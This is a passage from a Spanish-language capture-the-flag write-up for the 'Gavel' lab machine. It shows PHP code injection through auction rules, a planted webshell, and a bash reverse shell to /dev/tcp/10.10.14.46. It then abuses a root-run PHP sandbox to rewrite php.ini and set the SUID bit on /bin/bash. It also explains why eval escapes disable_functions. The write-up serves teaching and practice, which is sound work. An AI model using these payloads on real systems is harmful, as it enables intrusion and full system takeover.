Para entender mejor esta función podemos testearla en local, runkit_function_add() no es parte de PHP nativo, y en versiones modernas de PHP ha sido reemplazado por runkit7 para PHP 7+, por lo que runkit_function_add() es un alias a runkit7_function_add(). Podemos utilizar un contenedor docker para instalar la versión de PHP necesaria junto a la extensión runkit de forma sencilla.

Para la demo he montado una PoC muy sencilla, la cual creará una función sin parámetros llamada RCE() y ejecutará el comando whoami a nivel de sistema a través de la función exec() y imprimiendo el resultado con echo().

1
2
3
4
<?php
runkit_function_add('RCE', '', '$code = exec("whoami");echo $code;');
RCE();
?>

Dockerfile para automatizar la PoC

1
2
3
4
5
6
7
8
9
FROM php:7.4.33-cli-alpine3.16

RUN apk add --no-cache $PHPIZE_DEPS \
&& pecl install runkit7-4.0.0a6 \
&& docker-php-ext-enable runkit7

WORKDIR /app
COPY rce_runkit_function_add.php /app/rce_runkit_function_add.php
CMD ["php", "/app/rce_runkit_function_add.php"]

Tras la ejecución deberíamos ver el output root, confirmando la explotación.

1
docker build -t php74-runkit-min . && docker run --rm php74-runkit-min

Explotando RCE en Gavel

Una vez entendida la función, podemos craftear nuestro payload. Tenemos dos maneras de enfocarlo, se puede intentar ejecutar código a nivel de sistema con funciones como exec(), system(), etc… Pero es posible que estas funciones estén capadas en la configuración php.ini a través de disable_functions, por lo que antes de intentar utilizar estas funciones y poder llegar a frustrarnos por no conseguir el RCE, os recomiendo intentar sacar el output de la función phpinfo(), alojarlo en el servidor, y consultarlo para asegurarnos que las funciones de ejecución de comandos no están deshabilitadas.

Para llevar a cabo el RCE necesitaremos el auction_id y el tiempo que queda para que la subasta caduque, como ya hemos visto antes la subasta debe estar activa para que se ejecute la rule.

Curl para obtener el html y parsearlo con htmlq, extrayendo nombre del item, auction_id y el tiempo restante

1
2
3
4
5
html="$(curl -sS -H 'Cookie: gavel_session=<your_cookie_value>' http://gavel.htb/admin.php)"; \
paste \
<(echo "auction_id"; printf '%s' "$html" | htmlq -a value 'input[name="auction_id"]') \
<(echo "Time"; printf '%s' "$html" | htmlq -t 'span.timer') \
<(echo "Name"; printf '%s' "$html" | htmlq -t 'h3.mb-1') | column -t -s $'\t'
1
2
3
4
auction_id  Time  Name
61 103 Mermaid's Toe
62 103 Haunted Quill
63 103 Unicorn Parking Permit

En las siguientes tabs os muestro como inyectar código php para crear un archivo en el servidor con el output de phpinfo() y como crear una webshell en el servidor para ejecutar comandos a nivel de sistema.

PoC para crear un fichero con el contenido de phpinfo().

En Auction_watcher.php hemos encontrado la ruta de la aplicación por lo que podemos crear una regla que nos genere un archivo PHP con el output de la función phpinfo(), en este caso si la función file_put_contents() se ejecuta con éxito retornará el número de bytes del archivo generado:

1
return file_put_contents("/var/www/html/gavel/includes/phpinfo.php", "<?php phpinfo(); ?>");

Actualizamos la regla para un item de una subasta activa.

UI Set Malicious Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin.php HTTP/1.1
Host: gavel.htb
Content-Length: 173
Cache-Control: max-age=0
Origin: http://gavel.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gavel.htb/admin.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: gavel_session=<your_cookie_value>
Connection: keep-alive

auction_id=93&rule=return+file_put_contents%28%22%2Fvar%2Fwww%2Fhtml%2Fgavel%2Fincludes%2Fphpinfo.php%22%2C+%22%3C%3Fphp+phpinfo%28%29%3B+%3F%3E%22%29%3B&message=rce_phpinfo

Respuesta confirmando el cambio:

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 302 Found
Date: Fri, 09 Jan 2026 17:36:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: admin.php
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Realizamos una puja para que se ejecute la regla:

UI Trigger Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Length: 245
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8A1R6uE4sRrairMC
Accept: */*
Origin: http://gavel.htb
Referer: http://gavel.htb/bidding.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: gavel_session=<your_cookie_value>
Connection: keep-alive

------WebKitFormBoundary8A1R6uE4sRrairMC
Content-Disposition: form-data; name="auction_id"

93
------WebKitFormBoundary8A1R6uE4sRrairMC
Content-Disposition: form-data; name="bid_amount"

10000
------WebKitFormBoundary8A1R6uE4sRrairMC--

Respuesta confirmando que la puja se ha completado con éxito:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Fri, 09 Jan 2026 17:39:36 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 53
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

{"success":true,"message":"Bid placed successfully!"}

Consultamos el phpinfo.php en http://gavel.htb/includes/phpinfo.php comprobando si las funciones que nos interesan están deshabilitadas, como por ejemplo, exec().

UI Trigger Rule

¡La función no está desactivada! Esto se traduce en que tenemos RCE.

Siguiendo el mismo concepto, tenemos varias opciones bastante directas, como entablar una revshell directamente o subir una webshell al servidor. Me decanto por la segunda ya que si se cierra la conexión en la shell nos evitamos tener que estar volviendo a explotar la vulnerabilidad, y así ya dejamos “configurado” un método de persistencia.

Generamos un hash aleatorio que nos servirá como nombre de archivo, esto es más que nada para evitar fastidiar la experiencia de los usuarios que puedan estar intentando pwnear la misma instancia.

1
2
3
4
printf '%s%s%s\n' \
"this_webshell_is_not_part_of_the_ctf_" \
"$(head -c 32 /dev/urandom | sha256sum | awk '{print $1}')" \
".php"

Para la webshell vamos a utilizar un código PHP el cual va a tomar el valor del parámetro cmd pasado por GET y lo va a ejecutar a nivel de sistema a través de exec():

1
return file_put_contents("/var/www/html/gavel/includes/this_webshell_is_not_part_of_the_ctf_31f2bd26d2095362217f5a0ffd18cb27f92c772fa48641f6ee8fa13b565cf50f.php", '<?php exec($_GET["cmd"]); ?>');

Preparamos la reverse shell que vamos a lanzar desde la webshell, si queréis podéis utilizar una tool que cree en su momento con las principales revshells.

1
2
3
4
5
python3 -m venv Voidshells &&
cd Voidshells &&
wget https://raw.githubusercontent.com/Void4m0n/Voidshells/refs/heads/main/Voidshells.py &&
./bin/pip3 install colorama==0.4.6 &&
./bin/python3 Voidshells.py;
1
./bin/python3 Voidshells.py -i <lhost> -p <lport> -o linux -l bash -s bash

Voidshells Exec

Antes de ejecutar la revshell nos ponemos por escucha para recibir la conexión de la revshell, en mi caso el puerto será 1234

1
nc -lnvp 1234

Realizamos un curl para ejecutar el comando bash -c "/bin/bash -i >& /dev/tcp/10.10.14.46/1234 0>&1"

1
2
curl -i -s -k -G 'http://gavel.htb/includes/this_webshell_is_not_part_of_the_ctf_31f2bd26d2095362217f5a0ffd18cb27f92c772fa48641f6ee8fa13b565cf50f.php' \
--data-urlencode $'cmd=bash -c \"/bin/bash -i >& /dev/tcp/10.10.14.46/1234 0>&1\"'
Flag Función
-i Incluye headers HTTP en la salida.
-s Silencioso
-k No valida certificado TLS.
-G pasa la --data* a la querystring para que $_GET lo pueda leer
--data-urlencode URL-encodea el valor de los parámetros que pases

Como se puede ver hemos recibido la conexión en nuestro listener:

1
2
3
4
5
6
7
nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.97 41302
bash: cannot set terminal process group (989): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ whoami
whoami

Podemos transformar la shell a una interactiva que nos permita usar ctrl-c, shortcuts de movimiento, etc…

1
2
3
4
5
6
7
8
9
10
11
12
www-data@gavel:/var/www/html/gavel/includes$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@gavel:/var/www/html/gavel/includes$ ^Z
zsh: suspended nc -lnvp 1234

stty raw -echo;fg
[1] + continued nc -lnvp 1234
reset xterm

www-data@gavel:/var/www/html/gavel/includes$ export TERM=xterm; export SHELL=/bin/bash

Comando / Acción Dónde se ejecuta Qué hace
script /dev/null -c bash Remoto Lanza bash dentro de un entorno tipo terminal (PTY) usando script y no guarda log (/dev/null).
Ctrl+Z (^Z) Local Suspende el proceso en foreground
stty raw -echo Local Pone la terminal en modo raw y desactiva el echo
fg Local Vuelve a poner el proceso suspendido en primer plano.
reset xterm Remoto Resetea la terminal.
export TERM=xterm Remoto Define el tipo de terminal.
export SHELL=/bin/bash Remoto Define la shell que quieres utilizar por defecto en la variable de entorno.

Escalada de privilegios

www-data –> auctioneer

Nuestra revshell se ha ejecutado en el contexto de www-data ya que este es el user que lanza el proceso del servidor Apache2, así que tenemos que intentar escalar privilegios hasta root.

Lo primero que suelo hacer es mirar qué usuarios tiene la máquina, podéis directamente catear el /etc/passwd, o mirar que users tienen carpeta en el /home, ya que los usuarios que suelen ser parte del ctf tienen su flag en su home.

Este comando te permite comprobar los usuarios creados de forma manual y no a nivel de sistema:

1
2
3
uid_min_line=$(grep "^UID_MIN" /etc/login.defs); \
uid_max_line=$(grep "^UID_MAX" /etc/login.defs); \
awk -F':' -v "min=${uid_min_line##UID_MIN}" -v "max=${uid_max_line##UID_MAX}" '{ if ( $3 >= min && $3 <= max ) print $0 }' /etc/passwd
1
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash

Parece que a nivel de sistema también existe un usuario llamado auctioneer, por lo que lo primero que tendríamos que comprobar es si nos sirve la contraseña que hemos encontrado en el aplicativo Web midnight1.

1
2
3
4
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
Password:
auctioneer@gavel:/var/www/html/gavel/includes$ whoami
auctioneer

Nos hemos podido loguear como auctioneer. Ya podemos ver la flag user.txt:

1
2
cat /home/auctioneer/user.txt 
c081xxxxxxxxxxxxxxxxxxxxxxxxxxxx

La reutilización de contraseñas es una práctica muy habitual. Los usuarios que no están familiarizados con la seguridad tienden a reutilizar la misma contraseña o variantes muy similares.

Aunque el usuario del sistema no fuese el mismo que el de la Web os recomiendo probar con todas las contraseñas que hayamos encontrado durante las fases de recon y explotación.

Auctioneer –> Root

Con una contraseña válida lo primero sería buscar si tenemos permisos de sudo “extras” para nuestro usuario, esto lo podemos ver con sudo -l

1
2
3
sudo -l
[sudo] password for auctioneer:
Sorry, user auctioneer may not run sudo on gavel.

En este caso no tenemos permisos extras.

Otro punto importante que me suele gustar al moverme lateralmente a otro usuario es mirar que archivos/directorios son propiedad del usuario o de grupos del cual forma parte:

1
for g in $(id -Gn); do find / -group "$g" 2>/dev/null; done
1
2
[...]
/home/auctioneer
1
for g in $(id -Gn); do find / \( -path /proc -o -path /sys \) -prune -o -group "$g" -print 2>/dev/null; done
1
2
3
4
5
[...]
/home/auctioneer
/home/auctioneer/user.txt
/run/gaveld.sock
/usr/local/bin/gavel-util

¡Parece ser que hemos encontrado un binario y un socket custom!

Análisis a Alto Nivel del Binario gavel-util

Cuando estoy realizando un CTF en el cual ya he conseguido RCE y no he visto una escalada de privilegios evidente como abuso de capabilities, permisos excesivos de sudo, binarios con permisos SUID, etc… Me gusta spawnear tres shells, destinadas a las siguientes funciones:

  1. La primera de reconocimiento Manual.
  2. Una Shell ejecutando pspy64, tool que nos permite ver qué procesos se están lanzando y sobre qué contexto, todo esto sin ser root
  3. Lanzar el script de linpeas.sh, script muy completo que nos enumera los posibles vectores de escalada.

En este caso solo nos harán falta las shells 1 y 2.

Para pasarnos pspy64 nos montamos un servidor Web con python en nuestra máquina:

1
python3 -m http.server -b <lhost> 8000

En la máquina víctima nos descargamos la tool y le damos permisos de ejecución:

1
mkdir /tmp/privesc && cd /tmp/privesc && wget http://<lhost>:8000/pspy64 && chmod +x ./*

Lanzamos pspy64

1
./pspy64

De primeras no hay nada interesante lanzándose por detrás, así que pasamos a analizar el binario /usr/local/bin/gavel-util

1
2
3
4
5
6
/usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice

Tiene pinta que está relacionado con el sistema de subastas implementado en la página Web, probamos la flag stats:

1
/usr/local/bin/gavel-util stats
1
2
3
4
5
6
7
8
9
10
11
12
13
=================== GAVEL AUCTION DASHBOARD ===================

[Active Auctions]
ID Item Name Current Bid Ends In
193 Potion of Eternal Wakefulness 1035 00:16
194 Time-Traveling Spoon 1082 00:27
195 Boots of Slight Speed 1874 00:27

[Recently Ended Auctions]
ID Item Name Final Price Winner
191 Mermaid's Toe 1416 None
192 One-Way Portal Key 915 None
190 Goblin-Signed NDA 1804 None

Parece ser que nos lista los items activos y las pujas anteriores, bueno, sin más. Si chequeamos el pspy64 vamos a encontrar algo muy interesante:

1
2
2026/01/11 13:37:11 CMD: UID=1001  PID=28086  | /usr/local/bin/gavel-util stats 
2026/01/11 13:37:11 CMD: UID=0 PID=28087 | /opt/gavel/gaveld

Desde el usuario auctioneer (UID=1001) hemos ejecutado gavel-util, y acto seguido se ha ejecutado otro binario custom en /opt/gavel/gaveld, ¡pero ojo! Esta llamada se está haciendo desde el contexto de ROOT (UID=0).

Vamos a revisar el contenido del directorio /opt/gavel/

1
tree -apug
1
2
3
4
5
6
7
[drwxr-xr-x root     root    ]  .
├── [drwxr-xr-x root root ] .config
│   └── [drwxr-xr-x root root ] php
│   └── [-rw-r--r-- root root ] php.ini
├── [-rwxr-xr-- root root ] gaveld
├── [-rw-r--r-- root root ] sample.yaml
└── [drwxr-x--- root root ] submission [error opening dir]

Vemos binario gaveld, un sample.yaml, y una configuración de php.ini, que presuntamente podría ser utilizada por el binario gaveld.

Parece que el sample.yaml nos podría servir para gavel-util submit <file>, ya que, nos pedía un archivo en formato yaml.

1
cat /opt/gavel/sample.yaml
1
2
3
4
5
6
7
8
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

Parece ser la estructura que tendría un nuevo item para pujar por el. Al archivo le falta cerrar el yaml, así que añadimos --- para cerrar la sintaxis y lo utilizamos en gavel-util.

1
2
3
cp /opt/gavel/sample.yaml /tmp/privesc/test.yaml && \
echo "---" >> /tmp/privesc/test.yaml && \
/usr/local/bin/gavel-util submit /tmp/privesc/test.yaml
1
YAML missing required keys: name description image price rule_msg rule

Parece que no está detectando los campos, se podría deber a que están anidados sobre item:, podemos probar a eliminar la indentación y el campo item:

1
2
3
sed '/^---$/,/^---$/{/^item:[[:space:]]*$/d; s/^[ ]\{2\}//}' \
/tmp/privesc/test.yaml > /tmp/privesc/test_fix.yaml && \
/usr/local/bin/gavel-util submit /tmp/privesc/test_fix.yaml

Output:

1
Item submitted for review in next auction

Si revisamos que ha pasado por detrás encontraremos lo siguiente:

1
2
2026/01/11 14:17:05 CMD: UID=0     PID=35279  | /opt/gavel/gaveld 
2026/01/11 14:17:05 CMD: UID=0 PID=35280 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }

Se está ejecutando el siguiente oneliner como root (los caracteres \ los añado yo para que veáis el output mejor):

1
2
3
4
5
/usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 \
-r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A'; \
return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');}; \
$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; } \
else if($res) { echo 'ILLEGAL_RULE'; }

Si desglosamos los parámetros del comando vemos el siguiente comportamiento:

Parámetros Descripción
-n No utiliza el php.ini por defecto (ignora la configuración estándar del sistema).
-c /opt/gavel/.config/php/php.ini Usa ese php.ini como configuración.
-r '<código>' Ejecuta el código PHP que sigue

Si analizamos el código paso por paso vemos este comportamiento:

  1. Se define la función __sandbox_eval().

    1
    function __sandbox_eval(){
  2. Define las variables previous_bid,current_bid y bidder.

    1
    $previous_bid=150;$current_bid=200;$bidder='Shadow21A';
  3. Comprueba el resultado de la regla definida en el campo rule del yaml que hemos pasado, en este caso:

    1
    return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');};
  4. Ejecuta la función y guarda lo generado en el return en la variable $res, en este caso retornará true porque la condición se cumple 200 >= 150*1.2 (200 >= 180) y el bidder es diferente a sado (Shadow21A != sado), por lo que ambas condiciones se cumplen.

    1
    $res = __sandbox_eval();
  5. Si la regla no devuelve un valor booleano entra en el if e imprime SANDBOX_RETURN_ERROR.

    1
    if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }
  6. En el caso de que la regla sí sea booleana pero sea true devuelve ILLEGAL_RULE.

    1
    else if($res) { echo 'ILLEGAL_RULE'; }

Por lo que a la conclusión a la que podemos llegar es que si tenemos control de la RULE podríamos ejecutar código PHP en el contexto de root siguiendo la configuración definida en php.ini, por lo que antes de craftear el payload vamos a ver qué posibles restricciones están configuradas.

1
cat /opt/gavel/.config/php/php.ini

Output:

1
2
3
4
5
6
7
8
9
10
11
12
13
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Configuración Descripción
open_basedir=/opt/gavel Limita el acceso del proceso PHP al directorio /opt/gavel y sus subdirectorios. Desde el punto de vista del atacante, restringe el alcance de lecturas/escrituras de ficheros a esa ruta, dificultando acciones fuera de ese directorio (por ejemplo, tocar binarios del sistema, modificar /etc/*, crear/alterar usuarios, ajustar permisos/capabilities en rutas del sistema).
disable_functions=exec,shell_exec,[...],stream_socket_client Elimina las funciones que habilitan ejecución de comandos/procesos a nivel de sistema. además de otras funciones útiles como fopen

Diferencia Entre Función y Constructor de Lenguaje

La vulnerabilidad que vamos a comentar no forma parte del vector de explotación para obtener la escalada de privilegios, pero merece la pena comentarla ya que es un fallo muy extendido.

Vemos que en este archivo de configuración se han tomado muchas molestias y nos han eliminado multitud de funciones a través de disable_functions como exec,shell_exec,system incluso nos han “deshabilitado” las “funciones” eval,include,require,require_once,include_once, así que uno diría que en este contexto no podríamos utilizar eval() ¿Verdad?.

Vamos a realizar una pequeña PoC para demostrar la vulnerabilidad existente en disable_functions.

php.ini:

1
2
open_basedir=/tmp/Poc_PhP/
disable_functions=exec,eval

La PoC creada muestra las funciones deshabilitadas, probando si puede utilizar la función exec() o eval() para mostrar la fecha de hoy, imprimiendo el resultado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$disabledFunctions = ini_get('disable_functions') ?: '';
echo "disable_functions={$disabledFunctions}\n";

$execAvailable = function_exists('exec') ? 'yes' : 'no';
echo "exec_available={$execAvailable}\n";

try {
$execCommand = 'date +%Y-%m-%d';
$execOutput = exec($execCommand);
echo "exec_status=OK exec_output={$execOutput}\n";
} catch (Throwable $throwable) {
$execErrorMessage = $throwable->getMessage();
echo "exec_status=DISABLED exec_error={$execErrorMessage}\n";
}

eval('$evaluatedDate = date("Y-m-d");');
echo "eval_status=OK eval_output={$evaluatedDate}\n";

?>

1
php -c /tmp/Poc_PhP/php.ini /tmp/Poc_PhP/PoC.php

Output:

1
2
3
4
disable_functions=exec,eval
exec_available=no
exec_status=DISABLED exec_error=Call to undefined function exec()
eval_status=OK eval_output=2026-01-11

Como se puede ver exec() no se ha ejecutado debido a que php no reconoce la función, sin embargo, eval() se ha ejecutado con éxito y nos ha impreso el día:

¿Por qué ocurre esto? Muy simple, eval() no es una función, es un constructor de lenguaje, por lo que a través de disable_functions no se puede deshabilitar, generando una falsa sensación de seguridad.

Diferencia entre función y constructor de lenguaje.

Los constructores de lenguaje son las strings fundamentales que configuran un lenguaje de programación. En PHP estos serían if, while, else, eval, etc… Estas strings están hardcodeadas en el lenguaje y tienen unas reglas especiales. Las funciones se crean a partir de estos constructores. Más información.

En mi caso desconocía que eval() era un constructor de lenguaje, siempre había pensado que era una función y creo que no soy el único, buscando literalmente en el navegador How to Disable Functions in PHP, el primer resultado ha sido este artículo: How to Disable Functions in PHP

Búsqueda mostrando el primer resultado

Donde dice explícitamente

One primary reason is security. Functions like exec(), system(), eval(), shell_exec(), passthru(), etc., allow PHP scripts to execute system-level commands, which could be abused if an attacker manages to inject malicious input into your application. For instance, using eval() without proper input validation can lead to code injection vulnerabilities.

To disable functions, simply add them after the equals sign, separated by commas. For example, if you want to disable exec(), system(), and eval(), you would modify the line to look like this: disable_functions = exec, system, eval

Imaginaos la cantidad de desarrolladores que han recurrido a este artículo que por SEO está posicionado el primero. Todas las aplicaciones que creen van a ser vulnerables si utilizan input del usuario sin sanitizar y lo interpretan como código PHP.

He escrito al creador sugiriendo la corrección del artículo. Por ahora sin respuesta.

Modificación del archivo php.ini

Como hemos visto antes estamos limitados a realizar acciones dentro de /opt/gavel, y el archivo php.ini se está comprobando en cada llamada, por lo que si de alguna forma podemos conseguir editar el archivo php.ini podemos realizar las modificaciones necesarias para permitirnos escribir fuera de ese directorio, o directamente permitir funciones de ejecución de comandos a nivel de sistema.

Comprobamos si tenemos permisos sobre php.ini:

1
stat -c '%A (%a)  %U:%G  %n' /opt/gavel/.config/php/php.ini

Output:

1
-rw-r--r-- (644)  root:root  /opt/gavel/.config/php/php.ini

El archivo solo puede ser modificado por el usuario root (el único con permisos de escritura).

Tenemos que buscar una función que no esté deshabilitada y que nos permita modificar el archivo php.ini a nivel de permisos o sobrescribir/modificar directamente. Tenemos múltiples funciones para realizar esta acción, yo en este caso voy a utilizar chmod() y file_put_contents().

Chmod()

Esta función nos permite cambiar los permisos de un archivo, equivale al comando chmod de bash.

Creamos la rule que devuelva true y cambie los permisos del archivo php.ini:

1
return chmod('/opt/gavel/.config/php/php.ini', 0777);

El 777 equivale a rwx (read, write, execution) para todos los usuarios ya que r=4,w=2,x=1, el 0 que lo precede lo utilizamos ya que esta función trabaja con valores octales.

Se debe tener en cuenta que el modo permissions es considerado como un número en notación octal, por lo que, para asegurarse, se puede prefigurar el modo permissions con un cero. Las cadenas como “g+w” no funcionarán correctamente. Más Información

Crafteamos nuestro archivo chmod_privesc.yaml para escalar privilegios:

1
2
3
4
5
6
7
8
---
name: "CHMOD php.ini 777"
description: "Cambia los permisos del fichero php.ini para ser modificables por cualquier user"
image: "https://example.com/ez.png"
price: 10000
rule_msg: "Ez"
rule: "return chmod('/opt/gavel/.config/php/php.ini', 0777);"
---

Resultado:

1
2
3
4
/usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r \
function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A'; \
return chmod('/opt/gavel/.config/php/php.ini', 0777);};\
$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }

Volvemos a comprobar los permisos del archivo php.ini:

1
stat -c '%A (%a)  %U:%G  %n' /opt/gavel/.config/php/php.ini

Output:

1
-rwxrwxrwx (777)  root:root  /opt/gavel/.config/php/php.ini

Ahora que tenemos permisos de escritura eliminamos disable_functions y open_basedir, quedando nuestro nuevo php.ini tal que:

1
2
3
4
5
6
7
8
9
10
11
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
memory_limit=32M
max_execution_time=3
max_input_time=10
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
File_put_contents()

Para lograr el mismo objetivo también podemos utilizar la función file_put_contents(), que nos permite sobrescribir/crear un fichero.

Creamos la regla que nos devuelva true y que sobrescriba el fichero php.ini:

1
$content = "engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off"; return file_put_contents('/opt/gavel/.config/php/php.ini', $content) !== false;

file_put_contents_privesc.yaml:

1
2
3
4
5
6
7
8
---
name: "Sobrescribir php.ini con versión vulnerable"
description: "Sobrescribe el php.ini eliminando disable_functions y open_basedir"
image: "https://void4m0n.com/ez.png"
price: 10000
rule_msg: "Ez"
rule: '$content = "engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off"; return file_put_contents("/opt/gavel/.config/php/php.ini", $content) !== false;'
---

Proceso lanzado por root:

1
2
3
4
2026/01/11 20:28:16 CMD: UID=0     PID=101229 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r \
function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';\
$content = "engine=On\ndisplay_errors=On\ndisplay_startup_errors=On\nlog_errors=Off\nerror_reporting=E_ALL\nmemory_limit=32M\nmax_execution_time=3\nmax_input_time=10\nscan_dir=\nallow_url_fopen=Off\nallow_url_include=Off"; return file_put_contents("/opt/gavel/.config/php/php.ini", $content) !== false;}; \
$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }

Nuevo php.ini:

1
2
3
4
5
6
7
8
9
10
11
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
memory_limit=32M
max_execution_time=3
max_input_time=10
scan_dir=
allow_url_fopen=Off
allow_url_include=Off

Dar Permisos SUID a /bin/bash

Ya nos quedaría el último paso para escalar, ahora que nuestro php.ini ya no nos limita a /opt/gavel, podemos cambiar los permisos del binario /bin/bash para darle permisos SUID y poder spawnear una shell como root.

Regla:

1
return chmod('/bin/bash', 04777);

suid_bin_bash_privesc.yaml:

1
2
3
4
5
6
7
8
---
name: "Dar permisos SUID a /bin/bash 4777"
description: "Cambia los permisos del binario /bin/bash para permitir lanzar una shell como root a cualquier usuario"
image: "https://void4m0n.com/ez.png"
price: 10000
rule_msg: "Ez"
rule: "return chmod('/bin/bash', 04777);"
---

Comprobamos los permisos actuales del binario:

1
2
stat -c '%A (%a)  %U:%G  %n' /bin/bash
-rwxr-xr-x (755) root:root /bin/bash

Ejecutamos el binario en modo submit con nuestro yaml malicioso:

1
/usr/local/bin/gavel-util submit /tmp/privesc/suid_bin_bash_privesc.yaml

Proceso ejecutado:

1
2
3
4
5
/usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 \
-r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A'; \
return chmod('/bin/bash', 04777);}; \
$res = __sandbox_eval();if(!is_bool($res)) \
{ echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }

Nuevos permisos:

1
2
stat -c '%A (%a)  %U:%G  %n' /bin/bash
-rwsrwxrwx (4777) root:root /bin/bash

Con el binario Bash con permisos SUID podemos ejecutar una shell bash como root:

1
2
3
auctioneer@gavel:/tmp/privesc$ /bin/bash -p
bash-5.1> whoami
root
1
2
cat root.txt 
dd4704d068932dc59da3371ec8583ab0

Conocimientos Obtenidos

Tras pwnear Gavel con el procedimiento descrito en este post deberíamos ser capaces de extraer los siguientes conocimientos:

  • Extracción de información mediante reconocimiento Web manual.
  • Dumpear un repositorio de git filtrado en el servidor Web.
  • Análisis de código PHP en busca de vulnerabilidades.
  • Explotación de una SQLi imposible abusando del parser de PDO.
  • Generar un diccionario custom para un ataque de fuerza bruta en base a los datos obtenidos/inferidos durante la fase de reconocimiento.
  • La posibilidad de RCE mediante la función runkit_function_add si tenemos control del último parámetro.
  • Diferencia entre función y constructor del lenguaje.

Posibles Errores

  • A la hora de explotar la SQLi no podemos utilizar # para generar un comentario, ya que el parser utilizado en PHP < 8.4 solo tiene en cuenta -- para interpretarlo como comentario
  • Al explotar la SQLi en Gavel desde Burp Suite hay que tener cuidado de generar correctamente la petición HTTP, si metemos un salto de línea debajo de nuestros parámetros la petición no se interpreta correctamente por el servidor Web

Mis Sugerencias Para La Máquina Gavel

La máquina me ha gustado, tanto a nivel de ambientación como de vulnerabilidades a explotar. Sin embargo, a mi parecer hay algún punto que modificaría. Obviamente esto es totalmente subjetivo:

